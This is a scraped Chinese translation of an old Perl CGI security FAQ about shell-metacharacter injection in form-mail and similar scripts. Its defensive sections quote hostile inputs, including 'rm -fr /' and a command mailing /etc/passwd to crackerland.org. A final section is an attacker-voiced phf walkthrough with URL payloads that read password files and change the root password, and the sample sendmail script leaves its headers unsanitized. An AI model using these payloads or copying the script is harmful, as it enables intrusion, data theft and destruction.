You are on page 1of 10

★ 我 想 让 user 填 的 form 资 料 自 动 寄 给 我 ,

该 怎 麽 做 ? 有 没 有 范 例 ★

其 实 做 这 个 很 容 易 。 您 的 CGI script 必 须 能 做 到 这 两 件 事 :

1. 将 form 中的资料整理出来。别忘了,所有的 form 资料都会被

URL- 编码起来 (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的

multipartMIME 资 料 ) 。

2. 开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 资料

写 过 去 。

我 们 就 假 设 您 用 的 是 CGI::* 模 组 。 您 可 用 以 下 的 方 法 去 叫

sendmail :

$cgi_form = new CGI::Form;

$from = $cgi_form->param('from');

$name = $cgi_form->param('name');

$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');

$message = $cgi_form->param('message');

open SENDMAIL, "| /usr/bin/sendmail -t -n";

print SENDMAIL <<End_of_Mail;

From: $from <$name>

To: $to

Reply-To: $from

Subject: $subject

$message

End_of_Mail
有 一 个 该 注 意 的 地 方 是 ``Reply-To:'' 的 信头 。由 於 server 是 以

``nobody'' 这 个使用者的身份来跑,信头的地方可能会被搞坏(尤

其 是 当

有人想回这封信的时後)。 加上 ``Reply-To'' 的信头这个问题便解

了 。

网 路 上 有 许 多 的 mail 渠 道 (gateway)* 是 以 底 下 这 种 方 法 来 送

mail :

【 译 者 】 gateway 在 此 指 送 email 的 CGI 程 式

open MAIL, "| mail -s 'Subject' $to";

+-- 可 能 会 出 问 题 的 漏 洞 ! ! !

如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号

(metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输

了 以 下 的 资 料 :

; rm -fr / ;

那 麽 您 的 麻 烦 可 大 了 * 。

【译者】这里头的 ``;'' 便是一个危险的 shellmetacharacter。另一个危

险 的 符 号 是 ``&'' 。

在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还

得视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权

限使用者身份跑的原因)。 至少那些由 CGI 程式制造出来,但又没

有 备 份 的 档 案 , 是 真 的 要 跟 它 们 永 别 了 。

; mail joe@crackerland.org </etc/passwd

那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一个「未

加工」的 Linux、SunOS 4.1,还有其他任何没安装 shadow-password

的 UNIX 系统来说, 实在不太好玩。如果 server 错误地跑了 root,

那麽就算装了 shadow-password 也没有用,因为远方的 cracker 甚至


可以让这个 CGI 的 emailscript 给他送 /etc/shadow (视系统而定,

不 一 定 在 /etc 底 下 或 叫 这 个 名 字 ) 。

2. 该 特 别 留 意 哪 些 安 全 事 项 ?

绝对不要对 shell 暴露任何 form 资料。底下这几项通通都是安全漏

洞 :

open(COMMAND, "/usr/ucb/finger $form_user");

system("/usr/ucb/finger $form_user");

@data = `usr/ucb/finger $form_user`;

话虽如此,在上面的第二种写法中,系统安全可藉着改变参数传送

的 方 式 而

得以改 善。也就是将参数由字串方式传送 ( shell 会先解译),改

为 序

列 方 式 传 送 。

system("/usr/ucb/finger", $form_user);
3. 为 什 麽 大 家 都 说

http://bigidiot.abuse-me.com/perl.exe?foo.pl

这 样 很 危 险 ? 会 有 多 糟 ?

极度危险! 想想看如果我这麽做会发生什麽事:

http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c'

现 在 您 同 意 了 吧 ? 避 免 这 个 恶 梦 发 生 的 方 法 :

将 perl.exe 执 行 档 由 ``cgi-bin'' 移 到 server 根 目 录 以 外 的 目

录 里 去 。

在 ``cgi-bin'' 里 用 批 次 档 (batch) script 来 叫 出 您 的 CGI

script 。

以下是一例。假设您的 CGI script 叫做 ``sample.pl'' 而您的批次档

叫 ``simple.bat'' :

@echo off

c:\dos_perl\perl.exe c:\netscape\ns-home\docs\cgi-bin\simple.pl
现 在 , 您 可 以 做 :

<A HREF="/cgi-bin/simple.bat">Click Here</A>

4. 要 如 何 在 程 式 中 安 全 地 使 用 逆 向 撇 号

( backticks , "`" , 位 於 键 盘 左 上 角 ) ? 这 麽

做 :

@ans = `grep'$user_field' some.file`;

是 不 是 真 的 不 安 全 ?

是的! 这非常危险!试想,如果 $user_field 含有这样的内容会有

什 麽

後 果 :

; rm -fr / ;

要达到相同的效果,一 个 比 较 安 全 的 做 法 是 * :
if (open GREP, "-|") {

@ans = <GREP>;

} else {

exec("/usr/local/bin/grep", $user_field, "some.file")

|| die "Error exec'ing command", "\n";

close GREP;

5. /$user_variable/ 这 个 句 法 是 不 是 Perl

5 中 的 一 个 安 全 漏 洞 ?

不!这不是个安全漏洞。但是如果您用 eval 指令在执行期 (runtime)

去 评估这个叙述,那麽,它会变成一个安全死角。例如这种做法可

能 很 危
险 :

foreach $regexp (@all_regexps) {

eval "foreach (\@data) { push(\@matches, \$_) if m|$regexp|o; }";

6.如果在 WWW 的 cgi-bin 的目录下有一个名为 phf 的可执行(具有

x 权 限 ) 程 序 , 那 么 你 就

可以通过 WWW 或 LINUX 的文本浏览器 lynx 访问它。该功能允许

你 读 取 系 统 上 的 文 件 , 如

/etc/passwd 等,并保存在本地机上。以下是我们所需要做的。如果

httpd 服 务 器 是 由 root 根 用 户 运 行 的 , 通 过 使 用 phf , 我

们可以成为该服务器的 root 用户;甚至修改服务器上某个用户的密

码 。

http://afp.org/cgi-bin/phf/?Qalias=x%0aid

id 是一个命令,它要求服务器返回用户的 id。有时我们需要给出全

路 径 , 比 如 : http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id
注意%0a 后面是命令行内容。如果你想输入一个空格符,就要用%20

代 替 , 以 下 是 经 常

要 用 到 的 几 个 命 令 行 : ( 以 %0a 开 始 )

显 示 passwd 密 码 档 :

%0a/bin/cat%20/etc/passwd

获 取 /etc 目 录 下 所 有 以 pass 开 始 的 详 细 文 件 列 表 :

%0als%20-al%20/etc/pass*

如果你有访问 http 的 root 用户权限,备份 passwd 文件为 passwd.my

文 件 :

%0acp%20/etc/passwd%20/etc/passwd.my

更 改 root 用 户 密 码 ( 服 务 器 往 往 会 允 许 你 这 样 做 ;-) ) :

%0apasswd%20root

You might also like